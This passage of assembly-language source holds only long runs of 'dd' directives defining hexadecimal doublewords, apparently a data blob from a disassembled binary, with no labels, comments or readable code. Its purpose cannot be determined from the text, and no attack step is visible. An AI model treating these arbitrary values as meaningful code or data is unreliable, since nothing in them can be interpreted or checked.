802CBAB8h, 16BBEA53h, 8D9823A7h dd 0ADCD4E29h, 0D2AB9221h, 0F770C4D6h, 93E5941h, 19F166D9h dd 0B7DAA46Fh, 70145C92h, 5E19E464h, 0F8EF5301h, 2D3509D7h dd 0E6CC7267h, 509DFA7Ah, 1280DB8Fh, 0BE143F24h, 8EB2D0Ah dd 9E65A18h, 68263217h, 4177981Ah, 496E29DCh, 0A5837E75h dd 0D2EAE925h, 9F709B89h, 0DC736A29h, 0B7D97E66h, 0A2C1186Ch dd 1ABF2D63h, 8A7A882Ah, 76C25D3Eh, 0D410CA24h, 26A47712h dd 0E2350338h, 0D6895641h, 5FDFC294h, 13B6870h, 51D3AED5h dd 0C4F7218Fh, 61E2F062h, 9C545616h, 7E95EE67h, 0EC0A70A6h dd 7EEECBC0h, 0F70F2D30h, 0FB059FCDh, 79154801h, 0DF7549A3h dd 8332B77Fh, 2FF3A2E9h, 0FA6DC61Dh, 0C8337D27h, 0BD65905Fh dd 2270EE04h, 0B1AEE904h, 66A7E825h, 853949Dh, 9B47E959h dd 27AA5B17h, 0B8DCB4AFh, 35BD0497h, 41877E53h, 5C0961C4h dd 0B74A9E1Ch, 575EB809h, 0F99DAA1Eh, 18E94164h, 71306EBCh dd 4A6E54EDh, 0B75BD029h, 3D08F946h, 2C0A67E9h, 0B5F23B38h dd 3564D08Bh, 0B4060ACAh, 71309F02h, 5A5E4143h, 9FE57FCEh dd 0B00970AFh, 1B4CC96Eh, 5E4B9C94h, 817D0EF6h, 0D702EF84h dd 0DA1D78CBh, 8FBC616Bh, 52DB5802h, 5611F627h, 8FE961C4h dd 0FE7712FEh, 0FE53BD9Ch, 473A4C4Bh, 0FADB5BDBh, 0AA1B16F4h dd 23A2104Ch, 1CAA5A13h, 2068C58Fh, 17F8B201h, 2AF9D0ECh dd 0E627F8DEh, 538831D9h, 0A14849BBh, 732F036Bh, 42DBDC61h dd 9D9ADDECh, 8C20F9C4h, 0D20090D7h, 7D75E36Dh, 30B67776h dd 0BC1A013Dh, 293AE90Eh dd 0A6BE84C3h, 8EE986B6h, 0C1293B51h, 56A1CBFFh, 4B166457h dd 39BBA850h, 5C3CDEC1h, 9768125Ah, 0AF39BF42h, 0BDBA8580h dd 0BF4B3323h, 0E90BB962h, 27787Dh, 5E82959h, 7F0C0155h dd 0CC40AFB0h, 60749F88h, 5E4830B3h, 34B2A073h, 69A4434Fh dd 4801E31Fh, 1AA53093h, 0E83E2009h, 5BEB5001h, 0AFCBC405h dd 85ED7928h, 11450226h, 702725C2h, 95191886h, 132D0C6Bh dd 506CD525h, 9F71B73Ah, 2630B88h, 887CEA80h, 15A102F5h dd 0BB40FC2Eh, 0B2EFB596h, 0C14B8B1Eh, 0A67B59A5h, 5CF24C7h dd 0D3EEE445h, 0F293D65Bh, 0A1DC0840h, 69EE73C0h, 0ECC1B450h dd 13DB79F4h, 0EEF64CE4h, 0AFB8940Eh, 0C5ECAFDCh, 6492E628h dd 797B57D7h, 18E8C184h, 787A04AFh, 0E6503261h, 7AF82699h dd 0DEDB6BF9h, 58D57E0Dh, 16B11F60h, 62F502h, 99337484h dd 3BF3E9F0h, 9AAAC0C5h, 6FEC16B9h, 0A2B6EE21h, 0A7127076h dd 0D2ACE8F8h, 62133B0Bh, 0A1C05F14h, 0EB7630DDh, 211E595Ch dd 64B78114h, 0D854F653h, 3D25E901h, 881B59D4h, 8003A4F8h dd 9BC060E1h, 60C9B203h, 0BC7EF6EFh, 927FEFC3h, 0AC4B5260h dd 5FB5803h, 3AAD5897h, 6C0351ADh, 1C552A7h, 3294FE6Ch dd 76390AB9h, 10E46ED6h, 0B865A29h, 8F19F38h, 0C37DB05h dd 0C1F32A82h, 982E7C44h, 59F29AFh, 98BB4C5Dh, 59648F15h dd 5188EA11h, 45855A58h, 0A5096DE1h, 225EFC6Bh, 37C95250h dd 10DB6812h, 1E010C0Ch, 58A40285h, 0A759E934h, 625571CAh dd 0EBE07F30h, 7A132DC3h, 0EEA966DCh, 193F3048h, 736C8CBh dd 25971809h, 0E9F0E04Fh, 0B0CB4CFCh, 3821AF96h, 0B26B5490h dd 0E32D056Bh, 92106F5Ah, 0D306088h, 0F53F2BC9h, 9950997Ch dd 80F13EEh, 3575E03Ch, 5B330AF6h, 0C005220Bh, 0BF4348DDh dd 0F920E4C2h, 471932BAh, 9D34E8F1h, 1AB6D7D2h, 11CF609h dd 88F6A7CCh, 7B958C4Ah, 0FB0166D4h, 639F6A52h, 0D664C561h dd 0FD5CB531h, 5FA50053h, 700CC92Dh, 0D8682923h, 0F02C0842h dd 0A5580E10h, 6E5DF4Ah, 0AE51E957h, 0A8424F14h, 44ADB1E5h dd 0D542A26Fh, 99F2D9Fh, 4B095CFh, 0D7C348E9h, 3DCF6253h dd 0C6C1D104h, 0F04DD2Ch, 18A294C6h, 5D7A893Ch, 0C935C597h dd 4B816DDh, 7B151197h, 0C016B221h, 5556DBF7h, 0E8401BDh dd 0D0E96D15h, 9EE33FDAh, 0A5132C94h, 0F797FCC3h, 0A97AF2h dd 0DB42A7BAh, 20AB1348h, 0B527B93h, 0B9F42DBFh, 49C198D5h dd 186796F2h, 6C5A24EBh, 1D14F0BFh, 5259DCCAh, 0B0FA0B75h dd 7AEE6C90h, 70B9282Dh, 0E0C94155h, 0C77D80F7h, 13536648h dd 0F0F40FAEh, 9B1A7B11h, 80CA28B2h, 5A89520Ch, 0F00C84FAh dd 63126A44h, 38D41612h, 0D5E90813h, 73BEA80h, 7B983962h dd 83D4EB41h, 1CED6CCh, 3DD1B103h, 0BC842AE7h, 0C31B92FEh dd 5012DF56h, 562D8FEh, 0CF10B60Bh, 0A0020935h, 771EB810h dd 427B29h, 48CE4DE5h, 18C50905h, 74BCF55Ah, 0DCDD10h dd 0F172A2Dh, 1249353Ah, 0AA24F357h, 4347251Fh, 0A2501B52h dd 0B77408B1h, 3161D1AEh, 0E57CBB76h, 6E761CDh, 7F140C08h dd 38C0F564h, 4546C17Eh, 5DEF0078h, 3E11B85Eh, 68B45241h dd 71BF5700h, 121EA118h, 0B8D79AE9h, 241DD612h, 0F7906067h dd 0F068B5D9h, 4827A1DFh, 3C9E7EEFh, 3A41F283h, 0E2F87008h dd 14373D3Ch, 1DA71853h, 0B5AB0265h, 0EFE81409h, 0A36B8D2Dh dd 0E0D38055h, 9B6A7E68h, 0E4230BF5h, 6382A812h, 0D14105B9h dd 666801C5h, 2FCC5FC6h, 3015DC80h, 0E9537309h, 0BBB760AFh dd 5B65391Ah, 2D87C04Eh, 2B027938h, 69E9553Ch, 5A2E7E8h dd 0F802ED83h, 6FD885AFh, 5518948Bh, 0D5C3A53Eh, 2E33221Eh dd 0EAC409D6h, 9456F0EEh, 0A5596038h, 4BED965Bh, 778C1493h dd 0EB53F45Fh, 772F4C12h, 57E459ECh, 8B82E80Fh, 8236765Ah dd 6F03116h, 8B6421E1h, 0DFD80934h, 0E927B994h, 4278054Ah dd 0C793981Ch, 52D39BAh, 0D869098Eh, 5E44595Ch, 0D8D818BCh dd 78301BABh, 3FE80C06h, 0B5754BF4h, 0C0806D8h, 0E95F1480h dd 40C03175h, 9D6873B2h, 836BB905h, 0C2DBE950h, 0B3F8C34Eh dd 565AF602h, 0FBDE4107h, 9E166ABBh, 3A04D016h, 0F3A85EF0h dd 58743B1h, 475F1200h, 5816052h, 0CB352DF5h, 1786ED07h dd 31EA8DD8h, 6ECF3A81h, 0F052CA63h, 620D3168h, 5AF5AE4h dd 0E05C387Fh, 2AD29FE3h, 0E0B9A90h, 7648350h, 60120888h dd 0CF7BC076h, 0E2464C1Fh, 0A162D718h, 0BA1D6857h, 92683F6Fh dd 66503727h, 552E2002h, 7585CE90h, 18395D08h, 152DEC59h dd 287BA72Eh, 96F45A97h, 0EEF34B07h, 0DCF66B22h, 0DED4272Ch dd 0C3B3979h, 6DC45D03h, 5827197Ch, 51997509h, 6B8E3050h dd 7321E726h, 305BDE83h, 0B8D0BB46h, 4E208710h, 15AF14EDh dd 762EA00Fh, 490EBA13h, 5BBDFA40h, 7FC10030h, 16D9402h dd 8817392h, 9AAC3E5Bh, 52D156DEh, 48C6A86Dh, 5E9F4385h dd 401290CBh, 8B75E85Ah, 556C02F7h, 0E27F7E44h, 0BD03C960h dd 7D9FD093h, 7CCD0581h, 0EA09AD2Fh, 34390500h, 0E3CAE962h dd 0D5F62C80h, 5966E888h, 68C18606h, 2E79128Ah, 7187785Bh dd 5D680083h, 9E65972Eh, 3D411528h, 4C2CB20h, 576B2DA2h dd 6ECF942h, 654C3488h, 6F39000Ch, 0D701C280h, 4E4BFEE9h dd 0ECE87025h, 4BEB311Fh, 0FD7E0A4Dh, 1841392h, 4BB0CFAFh dd 1CA79AACh, 0CB0581CBh, 1B9C727Dh, 6B14D280h, 0C67602Bh dd 33D07782h, 0C20E4361h, 5CEAD95Ah, 9C010B68h, 0C5266847h dd 0DE01FBC8h, 292E7B6Dh, 82840DBh, 9151535Dh, 2AFFCA27h dd 368A9AABh, 6861A6B6h, 99730B57h, 4E006548h, 0E910C26Eh dd 0BBBF5848h, 0C6F88219h, 1E5C3098h, 0CAFCF193h, 31711206h dd 709659CEh, 0C27C9FB3h, 6067E978h, 3CF723F5h, 575F4850h dd 0C45A59BCh, 0F54594ECh, 0E380FF70h, 5C4B2971h, 0C4040E3h dd 0A08D2FE9h, 17670E2Ah, 1C1EA717h, 0B5A8B604h, 3FC5B14Ah dd 0A54E69FEh, 8B4545E7h, 277771E9h, 0FE21C774h, 0F9EC585Fh dd 0D628BFB4h, 6302088Fh, 0E217AB20h, 9E042B51h, 0E0175F64h dd 91B2D259h, 9798B93Ch, 58B8767Eh, 1516CD93h, 6F9FAABFh dd 0F412441Bh, 8A40C292h, 1D3E33D1h, 1E50926Bh, 64052420h dd 0F71C5C04h, 8E7CD525h, 0DA491665h, 19FC7451h, 2BB056B5h dd 0D558560Bh, 78D2931Bh, 6F77175Ah, 7B65C6B5h, 0E8358023h dd 523E220Bh, 358E5F48h, 1850AC21h, 2EA42AFCh, 0B56DB2CEh dd 71427450h, 97E7B414h, 0BA582820h, 19E1D4C5h, 56956542h dd 0D328AEDDh, 0B792B85Eh, 0DDFE9EF2h, 1C743CA1h, 5362075h dd 5F4E7709h, 0E9D08171h, 89A76C4Bh, 0F1C3225Dh, 0F1FB5530h dd 2A22E904h, 52ADD6h, 62D65919h, 0E4451F2Dh, 460D5F1Eh dd 0A00BA6C9h, 0B56E4FF6h, 420BBFF1h, 0E905E171h, 55BC6598h dd 0CD9562C4h, 6ACA60C1h, 9F98082h, 0C0204E12h, 829670Ch dd 0FF920122h, 0FB410882h, 5B127D2Ch, 0B292D71Eh, 0BBF08E0h dd 0A1C648Bh, 430C8200h, 0A2B70421h, 35BD92Eh, 4CBADC88h dd 0D1274774h, 0A64BA409h, 0F1E9C148h, 470A9D7Fh, 0DCA06193h dd 2845BD5Fh, 0D670BB8Bh, 0F8D57253h, 47510BDDh, 8A4820D2h dd 0FFC0E30Dh, 132928F5h, 0E0489D44h, 73146EC5h, 2A811A9Bh dd 0B23CC8DAh, 42512D3Dh, 444EC0A8h, 5E6B3DE3h, 3B7E907Fh dd 7F041F39h, 2E4BFE9h, 0DFCE8956h, 0B99A50C2h, 0A531CFD7h dd 0E9E1C056h, 8F7B2EA9h dd 741425E4h, 9068C783h, 5E63946Fh, 5AE4E939h, 0E673B2E3h dd 0B7519F05h, 90ACACC4h, 9055A50h, 155B7693h, 23480200h dd 14E6770h, 805D9E1h, 57CFB204h, 0F2805B03h, 0CA937013h dd 129ECBB8h, 0BE9BF08Ch, 6F60230Bh, 27A7E18h, 470BBB2Dh dd 2CAF21E1h, 5B582E8Fh, 3536E660h, 39428242h, 57780809h dd 0B921D631h, 9932C546h, 196C5A58h, 0F3AA9C56h, 2F86787Fh dd 5E737584h, 0CBFB583Ah, 0DB65845Fh, 0EE3E74EAh, 6EE78D84h dd 4A74AE4Fh, 0F7B32CEBh, 1536DF60h, 107C5756h, 635AE9h dd 0BA696C2Dh, 12DB053Bh, 0CA54C64Fh, 360B7EDBh, 0F114985Fh dd 17E9E16Ah, 0F8040464h, 30B7BDDDh, 7026680Bh, 0AF6253D6h dd 0E05A05D6h, 0DC5E3D2Dh, 0A3258844h, 211062AEh, 50A33DF6h dd 0E6545789h, 12D99D30h, 0A358BA71h, 0B23017CBh, 0C8B0B36h dd 8D8BA45Ch, 0EC65D14Eh, 0D834E98Fh, 8AEFC9C6h, 0FABC7635h dd 2EDC004h, 30754D0Bh, 95B93E63h, 0F92D95E7h, 8B5BA7D6h dd 125A02EFh, 1071C127h, 915B900h, 156E409h, 0D18082CBh dd 972D22Ah, 1667D31Bh, 52133370h, 0C2C0EA89h, 0F0E9435Dh dd 0BFC0AE1Eh, 38789541h, 6AEC5B04h, 3F27AFE5h, 7A846643h dd 13545A9Fh, 5E8EAA13h, 0E9163320h, 25B31073h, 61C0D412h dd 3899BE2h, 274AF15Dh, 428CA382h, 5F60572Ch, 34331484h dd 58010C6Ah, 0CF331B5Fh, 37BAF9A1h, 58287058h, 0DC0CBB41h dd 0C628B21h, 164B1763h, 0F9F8007Fh, 2941A7FBh, 0CF2CCB4Eh dd 589F01EBh, 0ED68030Eh, 1F326E4Fh, 64C8D73Fh, 641340C5h dd 8EE00CB5h, 5C02E92Bh, 0C146C67Dh, 272A137Ch, 7D2FD56Ch dd 20ED248Bh, 3BFCE813h, 304151B2h, 0DF5B0226h, 95C47336h dd 0BEACB76Ch, 8B7504E5h, 52C7C842h, 1CC04614h, 35CC09D8h dd 0DFE0554Fh, 3E7D4A49h, 0B5E040F1h, 4C5A0D43h, 5F68D0A4h dd 4B7B4428h, 0F61A71h, 9861AD83h, 1EDEC0Dh, 681E6541h dd 73FB43E9h, 0F3AD4FD0h, 5D0B9005h, 0F999EB11h, 0AFF5246Dh dd 8AC590B3h, 0D3A9ED40h, 7DF3BA01h, 317C5C31h, 0AAF963C4h dd 0A14A3AF3h, 926C7DFEh, 0EC12D7B8h, 0A645B81Ch, 0E71CB5B7h dd 0F0ACDBB4h, 0D0A21016h, 2ADBC280h, 0A89E1215h, 4A08EA14h dd 0D60966FCh, 8004B51Fh, 35D7BACCh, 0AB447A60h, 7689030h dd 610392E1h, 5BC9CE6Ah, 252AAF4h, 5F154DD5h, 5C0421C6h dd 296D4934h, 0B4E20852h, 0D0BF7F28h, 0EF5D984Ch, 9405B229h dd 0AA3C5F33h, 1168C580h, 67BC9623h, 4CC18E85h, 0CCF1215Eh dd 75FE1C1h, 71C957A2h, 0B198F8D2h, 7D5B0B13h, 0FC8FEEB0h dd 0C14F163Ah, 1D9D04EBh, 40FC1713h, 9EDED902h, 0B9C03108h dd 0BB80903Dh, 0E40C1EDDh, 0DA528C18h, 62E2615h, 0F300DCD0h dd 11D92503h, 87DB5FF7h, 0BC3FC75Dh, 89FE970Ch, 58391950h dd 955BE740h, 0DD6260DCh, 0C6054999h, 0C5CFECDCh, 0F2BEEC3h dd 5E65CDAAh, 498CA0Eh, 6E63685Ch, 4F2916D8h, 2374ABC1h dd 68F32CBEh, 0F2BD485Fh, 0C575126Bh, 93CC4B9h, 6813604Dh dd 6E0D3FF2h, 0C1808849h, 0CD8105EDh, 933FB612h, 0BF7F01BFh dd 314FBD65h, 957A80Bh, 0F887CF2Dh, 0A7F10B89h, 0D180A021h dd 996CACC9h, 86183E61h, 0C06B9744h, 0FC4CC6E0h, 0A3020CDFh dd 0CA75C86Bh, 4368DF3Dh, 1B3239F2h, 84F7544Eh, 20F85D07h dd 15E0E260h, 0C297B8BCh, 0D53942BCh, 0E4FD19B2h, 0C0812007h dd 0CC133B90h, 0B4044989h, 0BA85DEFh, 7E6D68B1h, 2AE019CDh dd 0A0387D96h, 9E1910F4h, 0FB68E111h, 0C6CE3B71h, 6858C302h dd 71466C5Eh, 49F9799Fh, 2CCB704h, 7E3A7A68h, 6A0159DBh dd 0A1307EB5h, 0AA09BDACh, 218B08D9h, 0ED5F05FBh, 817840AEh dd 43354DE3h, 3AC404BDh, 52D234B8h, 0A16F98A3h, 0D167E09Fh dd 0C78F97E2h, 7A20EE49h, 885B38B9h, 20A0555Eh, 4D169F7h dd 0B20F3900h, 95FBAACh, 0E2E21A0Fh, 0FE46DE3Dh, 483609F5h dd 0F4C7DE8h, 294B5306h, 0EA805FFAh, 0E2D2779h, 681489D9h dd 267B4894h, 82083CAh, 60171CD0h, 9A0D3318h, 0A0CC01Eh dd 0E9556524h, 0CCF41925h, 755726A9h, 4C774055h, 895E6EB3h dd 0AAD28EA2h, 2281EEC4h, 252EA16Ah, 0C49CEF49h, 0CDA9546Dh dd 82A7B8F0h, 0E5EA6071h, 2DC90016h, 2883079Bh, 551C829h dd 0ACC17E07h, 3000EFEBh, 200358E7h, 0C2805BFAh, 83B6F188h dd 92010325h, 99E8D331h, 0C392BCA5h, 7502D1A8h, 467F9DC2h dd 513DF873h, 0A82B08EAh, 4DDD4F76h, 6B49CE41h, 68B4A03Ah dd 6098405Eh, 193816FDh, 9419BB14h, 906B0726h, 0E349F7C1h dd 0E2A9FE2Fh, 20AD8017h, 123E3236h, 4D5C0EE9h, 9804DA41h dd 77A4FF80h, 0DE7625CFh, 0C1203C5Ah, 0DB5E503Eh, 96BD41EFh dd 21BABED8h, 3F03963Fh, 978A74E3h, 4E04589h, 120BC7A9h dd 0C5A85E18h, 18571790h, 21FCB145h, 65E26B16h, 414AC4D9h dd 3AE427A9h, 408C8131h, 0D0410502h, 0B5F02A8Fh, 0CE3316D2h dd 8F91AA1Eh, 203C77E9h, 0BE364132h, 2D177052h, 9AE287Ah dd 0E46078EEh, 3A9FF021h, 4989F629h, 0BA52E200h, 0C00121Ah dd 9BE563Ah, 0B0644349h, 20834B62h, 368B6841h, 0BF00189Fh dd 64F183Bh, 0B0C97E29h, 2D6F92Dh, 7C1AE9DAh, 0C11D2EE9h dd 36149168h, 7970277Ah, 88518447h, 2A09AEF9h, 50A9581Ch dd 40869852h, 0F733805Fh, 0B10A06ADh, 0E7E461C7h, 8C12CC6Eh dd 509F4906h, 6CA03370h, 23FFC377h, 4C1666E3h, 0D0EBB9B0h dd 7343E9DCh, 0F5C87AE1h, 4E520B1Ah, 0A9504B54h, 89AFB9A1h dd 1C4818BFh, 13F39011h, 0BFCD93E9h, 2D2B9D39h, 90DC6BD1h dd 28964056h, 1DD0DE48h, 0F49D0CECh, 6364C45Dh, 306CEA1Dh dd 715DC181h, 0F5EC348Fh, 0E259C9A0h, 0C6A1A00h, 999A0A2Eh dd 0EAFE116h, 0DBE96C04h, 9FB8FBA0h, 2AD3AB38h, 17B5609h dd 687BFE44h, 458170Ch, 12C28CC3h, 0FE7409EFh, 1BF1712Bh dd 2437C5CBh, 0B34E12DEh, 0D6CA124Bh, 502A6AF7h, 0C9B0904Fh dd 0DF815533h, 20C94831h, 5D98DD5Fh, 0BE0396BCh, 0B06559h dd 2857C78Ah, 0F70118BFh, 8A2EFF0h, 7AA821F9h, 89A83E01h dd 5AD72982h, 0F62CF8D5h, 56ABB092h, 9460DFECh, 2818F6A3h dd 4E25248Dh, 0A2B5027Eh, 8EB41E0h, 2158C207h, 0ED602723h dd 604F4A02h, 198B1853h, 6A950B06h, 0E90802A5h, 25B8D4E0h dd 0C6689521h, 6DFB8944h, 6BAD767Fh, 0CCA83BFDh, 45BEF4BFh dd 5E83BC41h, 9EE41CBh, 0BD0307DBh, 0C4B0FBFh, 3451D165h dd 73C3A324h, 1CEB7BA9h, 0C25BD828h, 0CD09E9F8h, 2D487452h dd 6B700CDh, 0A1A90235h, 64FB48Ch, 2886DDE9h, 0E340E59Dh dd 0A24BF09Eh, 9261F2h, 6762893Ah, 6320E976h, 29519FDBh dd 2ECD273Dh, 3B35C435h, 0DCA1B3E9h, 0BF6681DAh, 1A955822h dd 207DA12Ch, 0FF907405h, 65699D35h, 62D7A401h, 0C12F751Ah dd 2A4FD263h, 133A82E3h, 0C0594445h, 0E74596EAh, 9702415Bh dd 4C530668h, 253105EBh, 1C967AE0h, 0CE81C1A2h, 24F121DCh dd 0A9181323h, 0AA4CD873h, 1FB3E0Fh, 8147CD1Dh, 0A5E96319h dd 0C4532CE3h, 0C141A987h, 21CE2309h, 258AF038h, 0D8919E27h dd 315195CEh, 0D0BFCFC4h, 90685534h, 77F03909h, 6E90775Dh dd 0F9A44CB6h, 7E389178h, 69BE5A16h, 4057EEFh, 0B4E86166h dd 9E6EE2E7h, 2EA74655h, 80ECA492h, 1CFB366Dh, 3F8CB31h dd 8EA7F34Dh, 40F4074Ah, 0C294B1D4h, 1CC5D1AAh, 0BDC60423h dd 0FC3EE126h, 0F1E9E0C5h dd 8F3A95F3h, 0DFE2B40h, 480E2506h, 0BD0DF935h, 10F42989h dd 0BBAA043h, 575E5D78h, 0CB69FC06h, 8702C018h, 82B1A063h dd 343D28F9h, 0A9883B83h, 4A7F72DCh, 0CB51A25Eh, 40596094h dd 3088B80Dh, 0EF962C41h, 0BF406FF4h, 0D5812FE9h, 0B309835Bh dd 88D3710Dh, 0BB00ED27h, 0BACC1379h, 59CB2529h, 8E6C9F2h dd 7CEB014Ah, 0BC0B0DC8h, 5632EC43h, 860A0BFEh, 5797B553h dd 0E08500BFh, 0E96C8316h, 0B1A2125Fh, 5ACF7107h, 5B24B2B5h dd 0D137AEDAh, 12313450h, 8E683E5Eh, 1E396DFh, 0ED138DB7h dd 6A0C827Dh, 0D6A6A2AFh, 44490D9Eh, 9FEAF84Bh, 57472D09h dd 2C31DC59h, 24FF0973h, 0AFBC2C51h, 743D8955h, 0CDA788B8h dd 13D6B914h, 7BE862BFh, 0EE33BF4Ah, 680B179Bh, 0DE34B884h dd 0BD96D404h, 8FBB5681h, 0FB8987Eh, 6F5D3E60h, 9E4F294Ch dd 0CEF18135h, 2B0D9458h, 1DD2DEE0h, 5643AC37h, 0F9C2876Bh dd 9E08D85Bh, 72F18250h, 3CE0E049h, 0E8931C2Bh, 6580ED97h dd 3D068EBFh, 0DA2D44ABh, 0DBD148C2h, 0C25A6889h, 4CBEF52Eh dd 4769E979h, 0FDD2402Bh, 9BA54C50h, 296F1317h, 0C865EC5Fh dd 2094C69Dh, 0B900D3E8h, 22885DA4h, 0CC91D9F7h, 5F9AFDF8h dd 92C5585Bh, 12445080h, 0E9E80C5Ch, 0EA6108BEh, 0FACDDC1Fh dd 0BFF4907Dh, 2D02916h, 158C3CDh, 0A76C5661h, 169D666Bh dd 5470314h, 122DE8AFh, 53420B07h, 0F749787Bh, 0CEBED045h dd 0B89D5481h, 581B8AFh, 0E51F5B41h, 5B803F31h, 730815C5h dd 0BC295EA5h, 40084153h, 6A6FCD55h, 1A68B737h, 7FBDFF60h dd 0B3F0C421h, 0B0F540D7h, 0BF9F16EFh, 0D3BC60C9h, 1AB97403h dd 0D27B9E31h, 16A2F4E1h, 854EA2ACh, 0C5EA53B1h, 50D903EAh dd 0CF93FC88h, 579ABB1h, 32E0C7BEh, 185507E0h, 0B7840516h dd 992434E6h, 1ACE1554h, 0D0F3626Bh, 0F694B549h, 3E9A2DFCh dd 7B72789Dh, 167A1056h, 0FD290301h, 24DEE9h, 2BCAF1EFh dd 0CF316021h, 25AD595Ch, 32EF0F6Ah, 8701C813h, 87CB84DDh dd 2C0B83Fh, 522D95EDh, 14517E57h, 0B84808C5h, 655D393Ch dd 3723F124h, 6DC04958h, 0E91271F2h, 0D4BEC4D9h, 0DFDC2D2h dd 62B0A376h, 0FFD6852h, 5A76AD46h, 0ED8780E4h, 70CC93B2h dd 4CAD2568h, 6680809Ah, 10834D96h, 41C98102h, 7E59B270h dd 822C846Fh, 9C67C64Ch, 73248C94h, 3C1DC402h, 84BDC2Dh dd 0B9016293h, 48822E75h, 823AFC20h, 0E4E18EC1h, 1EB853ECh dd 0E0277D09h, 5952565Eh, 68FDC01Ah, 70E9490Ch, 0A40B586h dd 5F65B80Eh, 52E00FD3h, 1E2D5800h, 21758302h, 3C038AB8h dd 4C262507h, 24F1A73Bh, 0D820C522h, 946812CDh, 326082Ah dd 12440616h, 5C05A281h, 84B61651h, 0DEE6BA39h, 1EB0AB50h dd 2EC12806h, 0ACA30CE7h, 0D295919Dh, 0A6472082h, 0D7F54ABFh dd 0A1687CE8h, 3A09DBB9h, 259661Eh, 44145098h, 5327429h dd 3EE05E0Ch, 48220D6Bh, 0E90E2952h, 530A522Ch, 3080E3A0h dd 0D69823B7h, 6DE3A118h, 0B4F65096h, 6B4873B6h, 0A0288BA0h dd 0C6EE8156h, 4F1B1241h, 0D26AEC5Bh, 0EB80CD41h, 0CE61305Fh dd 0EC6BC3CDh, 88FAA44Ah, 88ECEE05h, 6E5F0A4Fh, 4D87BF41h dd 0BF7063FDh, 0ACE6B315h, 0AFC00857h, 0F5E9511Ah, 19F47129h dd 4E7B6878h, 0A35CE841h, 2ECEE160h, 1A776730h, 80363D03h dd 0F0A09964h, 0ED5C835Fh, 7247355h, 5207304Dh, 2D601973h dd 75E75815h, 246CFA0Dh, 8121404Eh, 18326935h, 46B8D428h dd 0E970C8E2h, 64EEC94Ah, 0E280BAD3h, 7A756068h, 81E5B58Dh dd 71ADF681h, 863F4348h, 3602120Dh, 0E90AFBE5h, 8750E85Eh dd 30D6C2CBh, 2D687E11h, 0DE262115h, 2703C56Bh, 2648785Ch dd 94E03CAh, 5CC68599h, 0C6B4B52Dh, 4FE6F2B8h, 0B8DF24E7h dd 78FB5ADFh, 0F16E11E0h, 80041DE6h, 3BC2C7C1h, 1536858h dd 974B98F7h, 7B71E00h, 2A58EF80h, 0C6D92F88h, 6EE80B09h dd 0CF80748Eh, 231966C3h, 9CE0CC0h, 2FE972F4h, 5648B50Ch dd 11BF8396h, 0FDFD5041h, 0AB1D842Eh, 0D08F9139h, 0CC939B68h dd 745B4FD3h, 3C6D2FD8h, 0A75D7644h, 70D6E903h, 0E1B06CABh dd 6A120E21h, 65035643h, 0E9235ED3h, 0BA4D2BEh, 252D1003h dd 6834B05Dh, 131BB280h, 0D0672EE9h, 3A09270Fh, 0D5013513h dd 0C99A7CFFh, 4957B4AAh, 0A9C0D524h, 0C2309551h, 270BABF2h dd 89092B31h, 3EB60034h, 979AA039h, 0F929D084h, 54E909C8h dd 4F1275FCh, 6616C5Dh, 0C835A5EBh, 960B0C69h, 5D24F219h dd 0F088728h, 0AAD4A4E9h, 0A2E188C7h, 0F3D5CB15h, 0D348A747h dd 0C45FFE80h, 0F3F44080h, 8E405C0h, 0B8413CE9h, 111CC563h dd 5C1CD4CBh, 9B752740h, 66D780B8h, 4F4EA5Ah, 0CCE9A12Ch dd 0CA07ADD2h, 90248930h, 12A5E906h, 46C10421h, 0EC51BA33h dd 8A37E8Eh, 565A25BAh, 92D552FEh, 94B8006Bh, 405D917Dh dd 6A200105h, 45E916CAh, 0F7579E7Bh, 1B3844C2h, 8AC66047h dd 35E0511h, 727A98E9h, 0F15F6A6Bh, 6859023Dh, 0BADD4383h dd 31325519h, 768FD21h, 39776E16h, 4BA0162Eh, 690B9649h dd 1747E180h, 0ECC110CEh, 48B97936h, 4C1EF64h, 0B7A6AA14h dd 0E9771801h, 0FC50D313h, 7B377746h, 0E4B0C3FCh, 9D2DCF11h dd 0E8EDB3A0h, 4A4A2F72h, 3AF8084h, 0B2C8E3C6h, 5BDCE954h dd 0EA5EFE97h, 842817E3h, 0F25CF97Eh, 768958A4h, 3B72B55Ah dd 87559495h, 37478B98h, 56164C73h, 9DFE3FCh, 5D8B59CEh dd 0F83E12Eh, 0DE34233Ah, 0F3AE0DF3h, 40AA5A46h, 7267EE28h dd 5F131C92h, 67B41F68h, 6BC941DEh, 2C5B314h, 2D5C3205h dd 0A7858141h, 0DBDF4849h, 17C6C0AFh, 0EA202EE9h, 0AA688214h dd 6B776370h, 351CC996h, 12B41B2Eh, 34402F98h, 0D4F2EAA0h dd 0F5222C05h, 1695C8E9h, 8438F2AAh, 0CCEBDA14h, 414BAAECh dd 473936D1h, 7851BF00h, 29BA8314h, 0E7D11F87h, 1075BC5h dd 0A09031ADh, 40229A05h, 0FDD1B42Bh, 46AA3612h, 7D0B3A1Dh dd 1704DEE7h, 5E07A799h, 4B84B9F8h, 43F70FB2h, 0CCE3D143h dd 58780380h, 0C286020h, 0C1CBA9B5h, 8F5E92Dh, 4707A32Ah dd 75B22C4h, 0E67F74ECh, 2D1FACA9h, 0CBDE4DA4h, 705E80Ah dd 46BD5317h, 17B42E9Ch, 2223FF44h, 0FDB3B25Dh, 32E16248h dd 0D64C7E25h, 77C20959h, 0B16F69FAh, 0B6EC4E22h, 3DE07CBAh dd 8AB35A4Bh, 30090813h, 0B7BB537Bh, 57B46F00h, 13F3E381h dd 0ECE3B005h, 0EBD10602h, 32BB9DE9h, 80C9FE18h, 67E1C01Ah dd 93CF0C06h, 0C882EEF1h, 384CF255h, 3B9242BDh, 0DA360E2Fh dd 0BB33ECE3h, 0FE0CF6C9h, 0DD9CC2D5h, 81905AEEh, 0FFF68E32h dd 0B70352C6h, 3AF02D41h, 34F548D4h, 0D09A447Fh, 7EBF00A9h dd 0A155C902h, 60649FC7h, 3EB7BC1h, 0E45FF381h, 0EFB02674h dd 0D90C3622h, 5CDF2953h, 7A739C87h, 0F32689DFh, 0E95B83AAh dd 3702E05Fh, 0C025E4F7h, 0EA824176h, 92A4F63Eh, 9AF99924h dd 42E5184h, 0B3FACE31h, 0B0B69630h, 544AEF25h, 9F209AF0h dd 0ED98C5F2h, 0C4DAA8A8h, 5E0F3E72h, 434D7CC6h, 4C53F500h dd 0D368254Bh, 4B9A9764h, 46C0CD60h, 7A5CB82Dh, 76EC20F9h dd 9616057Fh, 17B00DA8h, 0AFCA2481h, 87A62CA4h, 195A38A0h dd 889D2D00h, 18C5D759h, 